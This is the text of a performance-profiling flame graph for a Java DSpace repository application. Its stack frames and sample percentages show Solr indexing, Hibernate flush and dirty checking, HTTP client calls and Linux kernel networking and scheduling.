+org/hibernate/collection/internal/AbstractPersistentCollection:::wasInitialized (1 samples, 0.08%) + + + +smp_apic_timer_interrupt (2 samples, 0.16%) + + + +org/hibernate/proxy/pojo/javassist/JavassistLazyInitializer:::invoke (4 samples, 0.32%) + + + +org/hibernate/event/internal/AbstractFlushingEventListener:::flushCollections (10 samples, 0.79%) + + + +org/hibernate/event/internal/AbstractFlushingEventListener:::flushEntities (74 samples, 5.87%) +org/hib.. + + +org/hibernate/event/internal/WrapVisitor:::processValue (6 samples, 0.48%) + + + +JVM_IHashCode (10 samples, 0.79%) + + + +org/dspace/app/util/DailyFileAppender:::subAppend (2 samples, 0.16%) + + + +sun/reflect/UnsafeObjectFieldAccessorImpl:::get (3 samples, 0.24%) + + + +smp_apic_timer_interrupt (1 samples, 0.08%) + + + +java/util/regex/Pattern:::atom (1 samples, 0.08%) + + + +org/hibernate/internal/util/collections/IdentityMap:::entryArray (5 samples, 0.40%) + + + +tcp_rcv_established (2 samples, 0.16%) + + + +org/apache/http/entity/InputStreamEntity:::writeTo (1 samples, 0.08%) + + + +java/lang/String:::<init> (1 samples, 0.08%) + + + +schedule (12 samples, 0.95%) + + + +org/apache/http/impl/client/EntityEnclosingRequestWrapper$EntityWrapper:::writeTo (10 samples, 0.79%) + + + +org/hibernate/engine/spi/CollectionEntry:::getOrphans (9 samples, 0.71%) + + + +java/util/AbstractMap:::get (3 samples, 0.24%) + + + +itable stub (5 samples, 0.40%) + + + +futex_wait_queue_me (4 samples, 0.32%) + + + +inet6_recvmsg (23 samples, 1.83%) +i.. + + +org/hibernate/type/EntityType:::nullSafeGet (1 samples, 0.08%) + + + +event_sched_in.isra.0 (1 samples, 0.08%) + + + +Java_java_lang_Throwable_fillInStackTrace (1 samples, 0.08%) + + + +ip_protocol_deliver_rcu (3 samples, 0.24%) + + + +org/apache/http/impl/conn/DefaultHttpResponseParser:::parseHead (1 samples, 0.08%) + + + +nft_do_chain_inet (9 samples, 0.71%) + + + +org/apache/http/protocol/HttpRequestExecutor:::preProcess (1 samples, 0.08%) + + + +exit_to_usermode_loop (2 samples, 0.16%) + + + +org/hibernate/collection/internal/AbstractPersistentCollection:::hasQueuedOperations (1 samples, 0.08%) + + + +java/net/SocketInputStream:::socketRead0 (1 samples, 0.08%) + + + +org/hibernate/type/AbstractStandardBasicType:::isComponentType (1 samples, 0.08%) + + + +entry_SYSCALL_64_after_hwframe (4 samples, 0.32%) + + + +perf_event_sched_in (1 samples, 0.08%) + + + +[libjvm.so] (1 samples, 0.08%) + + + +org/hibernate/type/AbstractType:::isCollectionType (1 samples, 0.08%) + + + +__sched_text_start (2 samples, 0.16%) + + + +org/apache/commons/configuration/HierarchicalConfiguration:::getProperty (3 samples, 0.24%) + + + +java/util/ArrayList:::<init> (1 samples, 0.08%) + + + +sun/reflect/UnsafeObjectFieldAccessorImpl:::get (1 samples, 0.08%) + + + +org/hibernate/event/internal/AbstractFlushingEventListener:::prepareCollectionFlushes (20 samples, 1.59%) + + + +org/hibernate/event/internal/DefaultSaveOrUpdateEventListener:::onSaveOrUpdate (1 samples, 0.08%) + + + +ip_local_deliver_finish (3 samples, 0.24%) + + + +futex_wait (50 samples, 3.97%) +fute.. + + +org/apache/commons/configuration/CombinedConfiguration:::fetchNodeList (3 samples, 0.24%) + + + +org/apache/http/protocol/HttpRequestExecutor:::doSendRequest (1 samples, 0.08%) + + + +org/apache/http/impl/AbstractHttpClientConnection:::sendRequestEntity (1 samples, 0.08%) + + + +do_syscall_64 (23 samples, 1.83%) +d.. + + +org/hibernate/type/ManyToOneType:::isDirty (1 samples, 0.08%) + + + +org/apache/http/protocol/HttpRequestExecutor:::doReceiveResponse (1 samples, 0.08%) + + + +java/util/regex/Pattern$BmpCharProperty:::match (1 samples, 0.08%) + + + +vtable stub (1 samples, 0.08%) + + + +java/util/regex/Pattern$Curly:::match (1 samples, 0.08%) + + + +sun/reflect/UnsafeQualifiedObjectFieldAccessorImpl:::get (1 samples, 0.08%) + + + +org/dspace/util/MultiFormatDateParser:::parse (2 samples, 0.16%) + + + +org/hibernate/proxy/pojo/javassist/JavassistLazyInitializer:::invoke (1 samples, 0.08%) + + + +org/apache/http/pool/RouteSpecificPool:::getFree (1 samples, 0.08%) + + + +[libjvm.so] (2 samples, 0.16%) + + + +update_sd_lb_stats (1 samples, 0.08%) + + + +Java_java_lang_Throwable_fillInStackTrace (1 samples, 0.08%) + + + +org/hibernate/engine/internal/TwoPhaseLoad:::doInitializeEntity (1 samples, 0.08%) + + + +org/apache/commons/configuration/AbstractConfiguration:::getBoolean (4 samples, 0.32%) + + + +org/apache/http/impl/AbstractHttpClientConnection:::sendRequestEntity (10 samples, 0.79%) + + + +org/hibernate/internal/util/collections/IdentityMap:::entryArray (8 samples, 0.63%) + + + +JVM_FillInStackTrace (1 samples, 0.08%) + + + +org/apache/solr/common/params/ModifiableSolrParams:::set (1 samples, 0.08%) + + + +org/hibernate/engine/internal/StatefulPersistenceContext:::removeEntry (1 samples, 0.08%) + + + +java/io/InputStream:::read (1 samples, 0.08%) + + + +inet6_sendmsg (32 samples, 2.54%) +in.. + + +org/hibernate/loader/Loader:::loadCollection (1 samples, 0.08%) + + + +org/dspace/discovery/SolrServiceContentInOriginalBundleFilterPlugin:::hasOriginalBundleWithContent (4 samples, 0.32%) + + + +sun/reflect/GeneratedMethodAccessor23:::invoke (2 samples, 0.16%) + + + +org/dspace/services/factory/DSpaceServicesFactory:::getInstance (1 samples, 0.08%) + + + +tick_sched_timer (1 samples, 0.08%) + + + +org/hibernate/type/CollectionType:::isDirty (1 samples, 0.08%) + + + +org/dspace/discovery/FullTextContentStreams:::buildFullTextList (4 samples, 0.32%) + + + +org/hibernate/event/internal/DefaultLoadEventListener:::doLoad (3 samples, 0.24%) + + + +itable stub (9 samples, 0.71%) + + + +org/hibernate/type/CollectionType:::isDirty (5 samples, 0.40%) + + + +org/hibernate/loader/AbstractEntityJoinWalker:::initAll (5 samples, 0.40%) + + + +org/dspace/content/ItemServiceImpl:::getCommunities (2 samples, 0.16%) + + + +Interpreter (1,118 samples, 88.73%) +Interpreter + + +[libjvm.so] (1 samples, 0.08%) + + + +[libjvm.so] (1 samples, 0.08%) + + + +itable stub (4 samples, 0.32%) + + + +_new_instance_Java (1 samples, 0.08%) + + + +org/apache/commons/configuration/tree/DefaultExpressionEngine:::findNodesForKey (2 samples, 0.16%) + + + +ip_queue_xmit (24 samples, 1.90%) +i.. + + +nf_conntrack_tcp_packet (1 samples, 0.08%) + + + +org/hibernate/collection/internal/AbstractPersistentCollection:::setOwner (1 samples, 0.08%) + + + +__ip_local_out (5 samples, 0.40%) + + + +java/util/HashSet:::add (15 samples, 1.19%) + + + +acpi_irq (1 samples, 0.08%) + + + +org/hibernate/event/internal/DefaultAutoFlushEventListener:::onAutoFlush (142 samples, 11.27%) +org/hibernate/ev.. + + +java/util/HashSet:::add (3 samples, 0.24%) + + + +try_to_wake_up (1 samples, 0.08%) + + + +org/jboss/logging/Log4jLogger:::isEnabled (1 samples, 0.08%) + + + +nft_do_chain (9 samples, 0.71%) + + + +org/hibernate/loader/Loader:::doQueryAndInitializeNonLazyCollections (1 samples, 0.08%) + + + +[libjvm.so] (10 samples, 0.79%) + + + +org/hibernate/loader/OuterJoinableAssociation:::addJoins (1 samples, 0.08%) + + + +[libjvm.so] (2 samples, 0.16%) + + + +java/util/AbstractMap:::get (1 samples, 0.08%) + + + +org/hibernate/loader/Loader:::initializeEntitiesAndCollections (3 samples, 0.24%) + + + +java/util/ArrayList$Itr:::next (1 samples, 0.08%) + + + +org/apache/http/protocol/HttpRequestExecutor:::preProcess (3 samples, 0.24%) + + + +org/dspace/content/Bitstream:::getName (1 samples, 0.08%) + + + +org/hibernate/loader/Loader:::initializeEntitiesAndCollections (1 samples, 0.08%) + + + +sun/reflect/UnsafeIntegerFieldAccessorImpl:::get (1 samples, 0.08%) + + + +org/hibernate/type/AbstractStandardBasicType:::isCollectionType (1 samples, 0.08%) + + + +Interpreter (1,118 samples, 88.73%) +Interpreter + + +org/hibernate/persister/entity/AbstractEntityPersister:::selectFragment (1 samples, 0.08%) + + + +[libjvm.so] (1 samples, 0.08%) + + + +org/hibernate/context/internal/ThreadLocalSessionContext$TransactionProtectionWrapper:::invoke (99 samples, 7.86%) +org/hiberna.. + + +org/springframework/beans/factory/support/DefaultListableBeanFactory:::getBeansOfType (4 samples, 0.32%) + + + +org/hibernate/engine/internal/EntityEntryContext:::reentrantSafeEntityEntries (4 samples, 0.32%) + + + +__netif_receive_skb_core (1 samples, 0.08%) + + + +org/apache/http/impl/client/DefaultRequestDirector:::handleResponse (1 samples, 0.08%) + + + +tick_sched_timer (1 samples, 0.08%) + + + +org/hibernate/event/internal/DefaultFlushEntityEventListener:::dirtyCheck (20 samples, 1.59%) + + + +org/dspace/browse/BrowseIndex:::<init> (3 samples, 0.24%) + + + +org/apache/log4j/AppenderSkeleton:::doAppend (1 samples, 0.08%) + + + +java/util/AbstractMap:::get (1 samples, 0.08%) + + + +java/lang/Integer:::equals (1 samples, 0.08%) + + + +__send (36 samples, 2.86%) +__.. + + +sun/reflect/UnsafeQualifiedObjectFieldAccessorImpl:::get (1 samples, 0.08%) + + + +tcp_options_write (1 samples, 0.08%) + + + +itable stub (1 samples, 0.08%) + + + +org/hibernate/engine/jdbc/internal/ResultSetReturnImpl:::extract (3 samples, 0.24%) + + + +org/hibernate/engine/jdbc/internal/StatementPreparerImpl$StatementPreparationTemplate:::prepareStatement (1 samples, 0.08%) + + + +org/hibernate/type/CollectionType:::isCollectionType (3 samples, 0.24%) + + + +__pthread_getspecific (1 samples, 0.08%) + + + +org/hibernate/collection/internal/AbstractPersistentCollection:::withTemporarySessionIfNeeded (2 samples, 0.16%) + + + +org/postgresql/jdbc/PgStatement:::executeInternal (3 samples, 0.24%) + + + +org/hibernate/type/CollectionType:::hasHolder (1 samples, 0.08%) + + + +[libjvm.so] (1,118 samples, 88.73%) +[libjvm.so] + + +java/util/ArrayList:::iterator (1 samples, 0.08%) + + + +org/hibernate/persister/entity/AbstractEntityPersister:::toColumns (1 samples, 0.08%) + + + +org/apache/http/entity/mime/MultipartEntity:::writeTo (1 samples, 0.08%) + + + +iptable_filter_hook (1 samples, 0.08%) + + + +java/lang/Object:::hashCode (8 samples, 0.63%) + + + +org/hibernate/type/CollectionType:::isDirty (12 samples, 0.95%) + + + +__x64_sys_recvfrom (23 samples, 1.83%) +_.. + + +org/hibernate/type/AbstractType:::isCollectionType (2 samples, 0.16%) + + + +[libjvm.so] (1 samples, 0.08%) + + + +org/apache/solr/common/SolrInputDocument:::addField (2 samples, 0.16%) + + + +pthread_cond_wait@@GLIBC_2.3.2 (50 samples, 3.97%) +pthr.. + + +__sys_recvfrom (23 samples, 1.83%) +_.. + + +__sched_text_start (50 samples, 3.97%) +__sc.. + + +org/hibernate/event/internal/FlushVisitor:::processCollection (22 samples, 1.75%) + + + +org/dspace/servicemanager/spring/DSpaceBeanPostProcessor:::postProcessBeforeInitialization (3 samples, 0.24%) + + + +do_softirq_own_stack (17 samples, 1.35%) + + + +org/springframework/beans/factory/support/AbstractAutowireCapableBeanFactory:::resolveBeforeInstantiation (1 samples, 0.08%) + + + +itable stub (1 samples, 0.08%) + + + +smp_apic_timer_interrupt (1 samples, 0.08%) + + + +org/hibernate/persister/entity/AbstractEntityPersister:::hydrate (1 samples, 0.08%) + + + +irq_exit (1 samples, 0.08%) + + + +org/hibernate/event/internal/AbstractFlushingEventListener:::prepareEntityFlushes (97 samples, 7.70%) +org/hibern.. + + +__dev_queue_xmit (1 samples, 0.08%) + + + +org/dspace/eperson/Group_$$_jvst437_1e:::getHibernateLazyInitializer (1 samples, 0.08%) + + + +__netif_receive_skb (15 samples, 1.19%) + + + +org/hibernate/internal/IteratorImpl:::next (1 samples, 0.08%) + + + +update_blocked_averages (2 samples, 0.16%) + + + +java/lang/Object:::hashCode (2 samples, 0.16%) + + + +[libjvm.so] (1 samples, 0.08%) + + + +java/util/HashMap:::resize (1 samples, 0.08%) + + + +org/hibernate/event/internal/DefaultSaveOrUpdateEventListener:::onSaveOrUpdate (3 samples, 0.24%) + + + +tick_sched_handle (1 samples, 0.08%) + + + +org/apache/http/entity/HttpEntityWrapper:::isChunked (1 samples, 0.08%) + + + +org/hibernate/internal/util/collections/IdentityMap:::entryArray (2 samples, 0.16%) + + + +org/springframework/beans/factory/support/AbstractBeanFactory:::doGetBean (3 samples, 0.24%) + + + +org/apache/commons/configuration/MapConfiguration$1:::entrySet (1 samples, 0.08%) + + + +org/apache/solr/client/solrj/impl/HttpSolrServer:::request (9 samples, 0.71%) + + + +org/dspace/servicemanager/config/DSpaceConfigurationService:::getArrayProperty (3 samples, 0.24%) + + + +org/hibernate/engine/internal/EntityEntryContext:::reentrantSafeEntityEntries (3 samples, 0.24%) + + + +org/apache/http/conn/BasicManagedEntity:::<init> (1 samples, 0.08%) + + + +[libjvm.so] (1 samples, 0.08%) + + + +java/lang/Object:::hashCode (1 samples, 0.08%) + + + +java/net/SocketTimeoutException:::<init> (1 samples, 0.08%) + + + +org/hibernate/proxy/pojo/javassist/JavassistLazyInitializer:::invoke (1 samples, 0.08%) + + + +org/hibernate/internal/SessionImpl:::fireLoad (3 samples, 0.24%) + + + +org/apache/http/impl/conn/ManagedClientConnectionImpl:::sendRequestEntity (1 samples, 0.08%) + + + +org/hibernate/collection/internal/AbstractPersistentCollection:::isDirty (1 samples, 0.08%) + + + +[libjvm.so] (1 samples, 0.08%) + + + +org/hibernate/engine/jdbc/internal/ResultSetReturnImpl:::extract (1 samples, 0.08%) + + + +sun/nio/cs/UTF_8$Decoder:::decode (1 samples, 0.08%) + + + +sun/nio/cs/UTF_8$Encoder:::encodeArrayLoop (1 samples, 0.08%) + + + +x86_pmu_enable (1 samples, 0.08%) + + + +java/util/HashSet:::add (2 samples, 0.16%) + + + +handle_irq_event (1 samples, 0.08%) + + + +org/hibernate/loader/Loader:::doQueryAndInitializeNonLazyCollections (2 samples, 0.16%) + + + +[libjvm.so] (1 samples, 0.08%) + + + +org/apache/http/impl/client/EntityEnclosingRequestWrapper$EntityWrapper:::writeTo (1 samples, 0.08%) + + + +java/util/HashSet:::add (13 samples, 1.03%) + + + +org/hibernate/type/descriptor/java/AbstractTypeDescriptor:::areEqual (1 samples, 0.08%) + + + +org/hibernate/type/AbstractStandardBasicType:::isCollectionType (1 samples, 0.08%) + + + +org/hibernate/type/descriptor/java/AbstractTypeDescriptor:::areEqual (1 samples, 0.08%) + + + +apic_timer_interrupt (2 samples, 0.16%) + + + +org/apache/http/impl/client/DefaultRequestDirector:::tryExecute (10 samples, 0.79%) + + + +org/hibernate/engine/internal/Cascade:::cascade (27 samples, 2.14%) +o.. + + +org/hibernate/loader/Loader:::bindParameterValues (1 samples, 0.08%) + + + +org/hibernate/event/internal/DefaultFlushEntityEventListener:::onFlushEntity (203 samples, 16.11%) +org/hibernate/event/inte.. + + +org/apache/http/impl/conn/ManagedClientConnectionImpl:::sendRequestEntity (1 samples, 0.08%) + + + +org/hibernate/event/internal/DefaultFlushEntityEventListener:::dirtyCheck (32 samples, 2.54%) +or.. + + +org/hibernate/persister/entity/AbstractEntityPersister:::load (3 samples, 0.24%) + + + +org/hibernate/type/descriptor/java/AbstractTypeDescriptor:::areEqual (1 samples, 0.08%) + + + +org/hibernate/persister/entity/AbstractEntityPersister:::getSubclassPropertyTableNumber (1 samples, 0.08%) + + + +update_sd_lb_stats (1 samples, 0.08%) + + + +org/hibernate/collection/internal/AbstractPersistentCollection:::wasInitialized (1 samples, 0.08%) + + + +org/apache/solr/client/solrj/impl/HttpSolrServer:::executeMethod (8 samples, 0.63%) + + + +org/dspace/content/Bundle:::getName (1 samples, 0.08%) + + + +org/apache/http/impl/client/AbstractHttpClient:::doExecute (7 samples, 0.56%) + + + +ip_local_deliver (5 samples, 0.40%) + + + +[libjvm.so] (2 samples, 0.16%) + + + +org/hibernate/loader/BasicLoader:::postInstantiate (2 samples, 0.16%) + + + +org/hibernate/collection/internal/AbstractPersistentCollection:::getOrphans (3 samples, 0.24%) + + + +org/dspace/servicemanager/config/DSpaceConfigurationService:::getProperty (4 samples, 0.32%) + + + +itable stub (9 samples, 0.71%) + + + +org/apache/commons/configuration/tree/DefaultExpressionEngine:::findNodesForKey (2 samples, 0.16%) + + + +JVM_IHashCode (2 samples, 0.16%) + + + +ktime_get (1 samples, 0.08%) + + + +do_syscall_64 (50 samples, 3.97%) +do_s.. + + +java/util/ArrayList:::iterator (1 samples, 0.08%) + + + +java/util/HashSet:::add (2 samples, 0.16%) + + + +java/io/IOException:::<init> (1 samples, 0.08%) + + + +org/hibernate/engine/jdbc/internal/ResultSetReturnImpl:::extract (1 samples, 0.08%) + + + +perf_event_task_tick (1 samples, 0.08%) + + + +handle_fasteoi_irq (1 samples, 0.08%) + + + +org/hibernate/event/internal/AbstractFlushingEventListener:::prepareCollectionFlushes (10 samples, 0.79%) + + + +org/hibernate/collection/internal/AbstractPersistentCollection:::hasQueuedOperations (1 samples, 0.08%) + + + +org/hibernate/type/CollectionType:::resolve (1 samples, 0.08%) + + + +org/apache/http/entity/mime/content/InputStreamBody:::writeTo (1 samples, 0.08%) + + + +org/hibernate/collection/internal/AbstractPersistentCollection:::withTemporarySessionIfNeeded (11 samples, 0.87%) + + + +sun/reflect/UnsafeObjectFieldAccessorImpl:::get (2 samples, 0.16%) + + + +org/hibernate/loader/Loader:::doQueryAndInitializeNonLazyCollections (1 samples, 0.08%) + + + +tcp_release_cb (1 samples, 0.08%) + + + +org/hibernate/loader/Loader:::doList (1 samples, 0.08%) + + + +org/hibernate/type/AbstractStandardBasicType:::isComponentType (1 samples, 0.08%) + + + +java/lang/Object:::hashCode (10 samples, 0.79%) + + + +hrtimer_interrupt (1 samples, 0.08%) + + + +org/hibernate/engine/internal/Cascade:::cascade (1 samples, 0.08%) + + + +nf_hook_slow (9 samples, 0.71%) + + + +org/hibernate/event/internal/DefaultFlushEntityEventListener:::dirtyCheck (8 samples, 0.63%) + + + +call_stub (1 samples, 0.08%) + + + +load_balance (1 samples, 0.08%) + + + +org/hibernate/event/internal/DefaultSaveOrUpdateEventListener:::onSaveOrUpdate (10 samples, 0.79%) + + + +java/lang/StringBuilder:::append (2 samples, 0.16%) + + + +hrtimer_interrupt (1 samples, 0.08%) + + + +org/hibernate/internal/SessionFactoryImpl:::getCollectionPersister (1 samples, 0.08%) + + + +__hrtimer_run_queues (1 samples, 0.08%) + + + +Java_java_net_SocketOutputStream_socketWrite0 (2 samples, 0.16%) + + + +[libjvm.so] (1 samples, 0.08%) + + + +org/apache/http/impl/client/DefaultRequestDirector:::tryExecute (1 samples, 0.08%) + + + +net_rx_action (17 samples, 1.35%) + + + +finish_task_switch (49 samples, 3.89%) +fini.. + + +org/hibernate/event/internal/AbstractFlushingEventListener:::flushEverythingToExecutions (98 samples, 7.78%) +org/hibern.. + + +java/net/SocketOutputStream:::socketWrite0 (1 samples, 0.08%) + + + +java/util/regex/Pattern$CharProperty:::match (1 samples, 0.08%) + + + +org/apache/commons/configuration/tree/DefaultExpressionEngine:::processSubNodes (2 samples, 0.16%) + + + +smp_apic_timer_interrupt (1 samples, 0.08%) + + + +org/apache/http/impl/conn/ManagedClientConnectionImpl:::sendRequestEntity (1 samples, 0.08%) + + + +org/hibernate/internal/SessionImpl:::list (151 samples, 11.98%) +org/hibernate/int.. + + +org/hibernate/type/EntityType:::resolve (1 samples, 0.08%) + + + +ip_rcv (14 samples, 1.11%) + + + +org/hibernate/event/internal/DefaultLoadEventListener:::onLoad (1 samples, 0.08%) + + + +org/apache/solr/client/solrj/util/ClientUtils:::writeVal (5 samples, 0.40%) + + + +org/hibernate/internal/SessionImpl:::immediateLoad (3 samples, 0.24%) + + + +org/apache/commons/configuration/MapConfiguration:::getProperty (1 samples, 0.08%) + + + +org/hibernate/loader/entity/AbstractEntityLoader:::load (3 samples, 0.24%) + + + +org/apache/http/impl/client/DefaultRequestDirector:::rewriteRequestURI (3 samples, 0.24%) + + + +[libjvm.so] (2 samples, 0.16%) + + + +acpi_ev_gpe_detect (1 samples, 0.08%) + + + +__perf_event_task_sched_in (4 samples, 0.32%) + + + +org/apache/http/impl/client/DefaultRequestDirector:::execute (8 samples, 0.63%) + + + +itable stub (1 samples, 0.08%) + + + +itable stub (3 samples, 0.24%) + + + +java/util/regex/Pattern$Curly:::match (1 samples, 0.08%) + + + +hrtimer_interrupt (1 samples, 0.08%) + + + +[libjvm.so] (1 samples, 0.08%) + + + +java/util/AbstractMap:::get (18 samples, 1.43%) + + + +itable stub (3 samples, 0.24%) + + + +psi_task_change (1 samples, 0.08%) + + + +__ip_queue_xmit (24 samples, 1.90%) +_.. + + +org/hibernate/type/EntityType:::nullSafeGet (1 samples, 0.08%) + + + +perf_event_update_userpage (1 samples, 0.08%) + + + +tick_program_event (1 samples, 0.08%) + + + +update_curr (1 samples, 0.08%) + + + +__check_object_size (1 samples, 0.08%) + + + +sun/reflect/UnsafeObjectFieldAccessorImpl:::get (1 samples, 0.08%) + + + +org/hibernate/internal/SessionImpl:::getPersistenceContext (2 samples, 0.16%) + + + +org/hibernate/collection/internal/AbstractPersistentCollection:::isDirty (1 samples, 0.08%) + + + +org/hibernate/engine/spi/TypedValue:::hashCode (2 samples, 0.16%) + + + +JVM_IHashCode (1 samples, 0.08%) + + + +org/hibernate/event/internal/DefaultFlushEntityEventListener:::dirtyCheck (10 samples, 0.79%) + + + +[libjvm.so] (1 samples, 0.08%) + + + +update_curr (1 samples, 0.08%) + + + +intel_tfa_pmu_enable_all (1 samples, 0.08%) + + + +org/hibernate/engine/jdbc/internal/ResultSetReturnImpl:::extract (1 samples, 0.08%) + + + +org/hibernate/internal/SessionImpl:::checkTransactionSynchStatus (1 samples, 0.08%) + + + +[libjvm.so] (4 samples, 0.32%) + + + +org/apache/log4j/WriterAppender:::subAppend (1 samples, 0.08%) + + + +org/hibernate/loader/Loader:::list (1 samples, 0.08%) + + + +[libjvm.so] (1 samples, 0.08%) + + + +jshort_arraycopy (1 samples, 0.08%) + + + +org/springframework/beans/factory/support/DefaultSingletonBeanRegistry:::getSingleton (1 samples, 0.08%) + + + +org/dspace/content/Collection_$$_jvst437_11:::getName (1 samples, 0.08%) + + + +org/hibernate/collection/internal/AbstractPersistentCollection:::withTemporarySessionIfNeeded (7 samples, 0.56%) + + + +[libjvm.so] (1 samples, 0.08%) + + + +org/springframework/beans/factory/support/AbstractAutowireCapableBeanFactory:::initializeBean (3 samples, 0.24%) + + + +org/hibernate/event/internal/AbstractFlushingEventListener:::flushEverythingToExecutions (142 samples, 11.27%) +org/hibernate/ev.. + + +schedule (50 samples, 3.97%) +sche.. + + +group_sched_in (1 samples, 0.08%) + + + +org/hibernate/collection/internal/PersistentList:::toArray (1 samples, 0.08%) + + + +org/hibernate/event/internal/DefaultFlushEntityEventListener:::onFlushEntity (69 samples, 5.48%) +org/hib.. + + +update_process_times (1 samples, 0.08%) + + + +ttwu_do_activate (1 samples, 0.08%) + + + +org/apache/http/impl/client/DefaultRequestDirector:::tryExecute (1 samples, 0.08%) + + + +org/hibernate/type/CollectionType:::isDirty (2 samples, 0.16%) + + + +tick_sched_do_timer (1 samples, 0.08%) + + + +org/dspace/eperson/Group_$$_jvst437_1e:::getHibernateLazyInitializer (1 samples, 0.08%) + + + +java/util/HashMap:::resize (1 samples, 0.08%) + + + +java/net/SocketInputStream:::read (1 samples, 0.08%) + + + +[libjvm.so] (1 samples, 0.08%) + + + +[libjvm.so] (26 samples, 2.06%) +[.. + + +sun/reflect/GeneratedMethodAccessor30:::invoke (1 samples, 0.08%) + + + +java/util/AbstractMap:::get (18 samples, 1.43%) + + + +org/dspace/core/HibernateDBConnection:::uncacheEntity (130 samples, 10.32%) +org/dspace/core.. + + +org/hibernate/engine/spi/CascadeStyle:::hasOrphanDelete (1 samples, 0.08%) + + + +org/apache/commons/configuration/MapConfiguration:::getProperty (3 samples, 0.24%) + + + +org/hibernate/type/AbstractStandardBasicType:::isDirty (1 samples, 0.08%) + + + +smp_apic_timer_interrupt (1 samples, 0.08%) + + + +org/apache/http/impl/client/AbstractHttpClient:::doExecute (8 samples, 0.63%) + + + +hrtimer_interrupt (1 samples, 0.08%) + + + +run_rebalance_domains (2 samples, 0.16%) + + + +pick_next_task_fair (1 samples, 0.08%) + + + +org/apache/http/protocol/HttpRequestExecutor:::doSendRequest (1 samples, 0.08%) + + + +__alloc_skb (2 samples, 0.16%) + + + +org/dspace/discovery/SolrServiceImpl:::writeDocument (35 samples, 2.78%) +or.. + + +[libjvm.so] (1 samples, 0.08%) + + + +org/hibernate/engine/internal/Cascade:::cascade (1 samples, 0.08%) + + + +sun/reflect/UnsafeObjectFieldAccessorImpl:::get (2 samples, 0.16%) + + + +org/hibernate/event/internal/FlushVisitor:::processCollection (14 samples, 1.11%) + + + +[libjvm.so] (1 samples, 0.08%) + + + +__hrtimer_run_queues (1 samples, 0.08%) + + + +tick_sched_timer (1 samples, 0.08%) + + + +org/apache/log4j/WriterAppender:::subAppend (1 samples, 0.08%) + + + +org/dspace/discovery/SolrServiceImpl:::indexContent (435 samples, 34.52%) +org/dspace/discovery/SolrServiceImpl:::indexContent + + +process_backlog (16 samples, 1.27%) + + + +org/dspace/discovery/SolrServiceImpl:::unIndexContent (8 samples, 0.63%) + + + +org/apache/solr/client/solrj/request/UpdateRequest:::writeXML (5 samples, 0.40%) + + + +java/io/FileInputStream:::<init> (2 samples, 0.16%) + + + +java/io/SequenceInputStream:::nextStream (5 samples, 0.40%) + + + +x86_pmu_enable (16 samples, 1.27%) + + + +org/apache/http/impl/io/SocketInputBuffer:::isDataAvailable (1 samples, 0.08%) + + + +run_rebalance_domains (1 samples, 0.08%) + + + +[libjvm.so] (1,118 samples, 88.73%) +[libjvm.so] + + +perf_pmu_enable.part.0 (1 samples, 0.08%) + + + +org/hibernate/engine/internal/TwoPhaseLoad:::doInitializeEntity (2 samples, 0.16%) + + + +tcp_push (1 samples, 0.08%) + + + +__perf_event_task_sched_in (1 samples, 0.08%) + + + +org/hibernate/loader/Loader:::getRowFromResultSet (1 samples, 0.08%) + + + +[libjvm.so] (1 samples, 0.08%) + + + +java/util/HashSet:::add (1 samples, 0.08%) + + + +org/hibernate/type/CollectionType:::getCollection (1 samples, 0.08%) + + + +org/hibernate/internal/SessionImpl:::autoFlushIfRequired (142 samples, 11.27%) +org/hibernate/in.. + + +java/util/regex/Pattern$GroupTail:::match (1 samples, 0.08%) + + + +tick_sched_timer (1 samples, 0.08%) + + + +itable stub (8 samples, 0.63%) + + + +java/util/HashMap:::resize (1 samples, 0.08%) + + + +org/apache/http/protocol/HttpRequestExecutor:::execute (1 samples, 0.08%) + + + +update_process_times (1 samples, 0.08%) + + + +org/dspace/discovery/SolrServiceMetadataBrowseIndexingPlugin:::additionalIndex (54 samples, 4.29%) +org/d.. + + +JVM_IHashCode (1 samples, 0.08%) + + + +call_stub (1,118 samples, 88.73%) +call_stub + + +org/hibernate/type/CollectionType:::getCollection (1 samples, 0.08%) + + + +org/hibernate/loader/entity/AbstractEntityLoader:::load (1 samples, 0.08%) + + + +org/hibernate/event/internal/DefaultFlushEntityEventListener:::dirtyCheck (6 samples, 0.48%) + + + +java/util/HashSet:::add (1 samples, 0.08%) + + + +org/apache/commons/dbcp2/DelegatingPreparedStatement:::executeQuery (1 samples, 0.08%) + + + +java/util/ArrayList:::iterator (1 samples, 0.08%) + + + +org/apache/solr/client/solrj/impl/HttpSolrServer:::executeMethod (9 samples, 0.71%) + + + +org/dspace/content/comparator/NameAscendingComparator:::compare (1 samples, 0.08%) + + + +org/apache/commons/configuration/AbstractConfiguration:::getStringArray (1 samples, 0.08%) + + + +[libjvm.so] (1 samples, 0.08%) + + + +java/util/regex/Pattern$GroupHead:::match (1 samples, 0.08%) + + + +org/apache/commons/configuration/MapConfiguration:::getProperty (1 samples, 0.08%) + + + +org/hibernate/loader/Loader:::doQueryAndInitializeNonLazyCollections (3 samples, 0.24%) + + + +org/hibernate/event/internal/AbstractFlushingEventListener:::prepareCollectionFlushes (9 samples, 0.71%) + + + +newidle_balance (1 samples, 0.08%) + + + +org/hibernate/loader/Loader:::initializeEntitiesAndCollections (1 samples, 0.08%) + + + +org/hibernate/collection/internal/AbstractPersistentCollection:::isDirty (3 samples, 0.24%) + + + +org/hibernate/loader/Loader:::getRowFromResultSet (6 samples, 0.48%) + + + +org/hibernate/event/internal/AbstractFlushingEventListener:::flushEntities (82 samples, 6.51%) +org/hibe.. + + +org/apache/http/HttpHost:::toHostString (1 samples, 0.08%) + + + +java/util/AbstractMap:::get (2 samples, 0.16%) + + + +org/postgresql/core/v3/QueryExecutorImpl:::sendBind (1 samples, 0.08%) + + + +org/hibernate/type/CollectionType:::isDirty (1 samples, 0.08%) + + + +scheduler_tick (1 samples, 0.08%) + + + +org/hibernate/persister/entity/AbstractEntityPersister:::createJoin (1 samples, 0.08%) + + + +org/apache/http/impl/DefaultConnectionReuseStrategy:::canResponseHaveBody (1 samples, 0.08%) + + + +itable stub (7 samples, 0.56%) + + + +org/apache/http/impl/entity/EntitySerializer:::serialize (10 samples, 0.79%) + + + +org/apache/http/protocol/ImmutableHttpProcessor:::process (1 samples, 0.08%) + + + +sun/reflect/UnsafeObjectFieldAccessorImpl:::set (1 samples, 0.08%) + + + +org/postgresql/core/v3/QueryExecutorImpl:::sendQuery (1 samples, 0.08%) + + + +org/apache/commons/configuration/CombinedConfiguration:::fetchNodeList (20 samples, 1.59%) + + + +visit_groups_merge (1 samples, 0.08%) + + + +java/util/regex/Pattern$BmpCharProperty:::match (1 samples, 0.08%) + + + +futex_wait (4 samples, 0.32%) + 